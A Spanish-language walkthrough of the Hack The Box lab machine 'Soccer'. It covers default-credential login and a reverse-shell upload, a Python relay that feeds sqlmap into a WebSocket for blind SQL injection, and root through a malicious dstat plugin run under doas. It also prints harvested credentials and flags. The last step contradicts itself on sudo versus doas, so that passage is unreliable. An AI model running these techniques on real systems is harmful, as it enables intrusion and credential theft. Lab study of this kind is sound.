1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.194
Tiene como salida:
10.10.11.194 (ttl -> 63): Linux
2. Comprobamos servicios y lanzamos scripts principales contra los principales puertos:
nmap -sCV 10.10.11.194
Obteniendo los siguientes resultados:
Open Ports | Service Running
-----------|-----------------
22 | ssh
80 | http
9091 | xmltec-xmlmail
Debemos añadir entonces soccer.htb al archivo /etc/hosts
.
3. Recorremos la página web
Luego de analizar y recorrer la página web, no encontramos nada que nos llame la atención, por lo que lanzamos entonces un ataque de fuzzing mediante la herramienta gobuster:
gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Esto nos dice que existe el recurso /tiny
. Si la abrimos vemos un login de un usuario que utiliza el servicio Tiny para autenticarse. Buscando por internet podemos encontrar que este servicio utiliza credenciales por defecto, los cuales son los siguientes:
admin:admin@123
user:12345
4. Autenticación y explotación de recursos
Observamos como con los credenciales admin:admin@123
somos capaces de acceder a la página web. Una vez dentro vemos que se trata de una especie de filemanager en el que se pueden subir archivos. Subimos directamente un script que nos permite establcer una revershell con nuestra máquina host, en concreto utilizamos la más que conocida de pentest_monkey.
Si en nuestra máquina host nos ponemos a la escucha a traǘés de nc -lvp 1234
, observamos como somos capaces de establecer una conexíón, a través del usuario www-data.
Conseguimos establecer conexion
5. Búsqueda de recursos
Si revisamos el fichero sites-avaliable del servicio Nginx (/etc/nginx/sites-available
), podemos comprobar que existe un nuevo sitio web en la dirección https://soc-player.soccer.htb/
. Por lo que añadimos en el archivo /etc/hosts
la siguiente línea:
10.10.11.194 soc-player.soccer.htb
Observamos una página web en la que nos podemos registrar y entrar como dicho usuario, por lo que procedemos al registro y al acceso. Una vez autenticados si nos dirigimos al recurso https://soc-player.soccer.htb/check
y observamos el código fuente, podemos ver que se hace una conexión mediante websocket a una base de datos:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
6. Explotación Websocket
Si buscamos en internet algun tipo de exploit o vulnerabilidad contra WebSockets, podemos encontrar una forma de automatizar ataques Sqli contra websocket, en el siguiente repositorio podemos encontrar toda la información https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
. A groso modo, deberemos de crear un script en nuestra máquina host, en nuestro caso llamado websocket-sqli.py
, en el que crearemos un MiddelWare Server
intermedio, para enviarle peticiones al websocket que sirve la aplicación:k
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/ws"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
En otra terminal deberemos lanzar la herramienta sqlmap para que vaya lanzando ataques sqli contra el servidor intermedio creado:
sqlmap -u "http://localhost:8081/?id=1" -p "id"
Podemos ver entonces, como después de varias peticiones enviando distintos payloads automáticos, somos capaces de obtener los siguientes credenciales:
1324 | player@player.htb | player | PlayerOftheMatch2022
Probamos entonces a conectarnos mediante el servicio ssh, y somos capaces de iniciar sesión con el usuario player.
ssh player@10.10.11.194
7. Flag de usuario
Somos capaces de obtener la flag de usuario -> 526fd6d38c6905553d9822476a567a82
8. Escalada de privilegios
Para ello podemos emplear tanto el script linpeas o realizar la búsquyeda a mano. Buscando binarios con SUID abiertos:
find / -uid 0 -perm -4000 -type f 2>/dev/null
Nos llama la atención el siguiente archivo /usr/local/bin/doas
. Por lo que podemos comprobar como es el fichero de configuración de doas. Normalmente este se encuentra en la ruta /etc/doas.conf
. Pero en este caso no está en esta ruta por lo que lo buscamos con el sigueinte comando:
find / -type f -name doas.conf 2>/dev/null
Observando que este se encuentra en la ruta:
/usr/local/etc/doas.conf
8. Explotación
Si observamos dicho archivo observamos lo siguiente:
permit nopass player as root cmd /usr/bin/dstat
Es decir, por lo que podemos ejecutar el comando dstat como el usuario root. Observando un poco dicho comando vemos que se trata de una herramienta para monitorizar el uso de un servidor, y somos capaces de ver lo siguiente:
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
Es decir, podemos ejecutar plugins externos, por lo que podemos añadir un nuevo plugin que ejecute una revershell como el usuario root, por ejemplo en el directorio /usr/local/share/dstat/
, ejecutando para el ello el siguiente comando:
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
sudo dstat --xxx
Pero vemos que esto no nos es posible, porque no es con sudo, sino con el servicio doas, por lo que si ejecutamos:
sudo dstat --xxx
Observamos como somos capaces de obtener un shell como el usuario root.
9. Flag de root
Somos entonces capaces de obtener el flag del usuario root -> 182bc6b999dd8751f4554cf7fbba49a1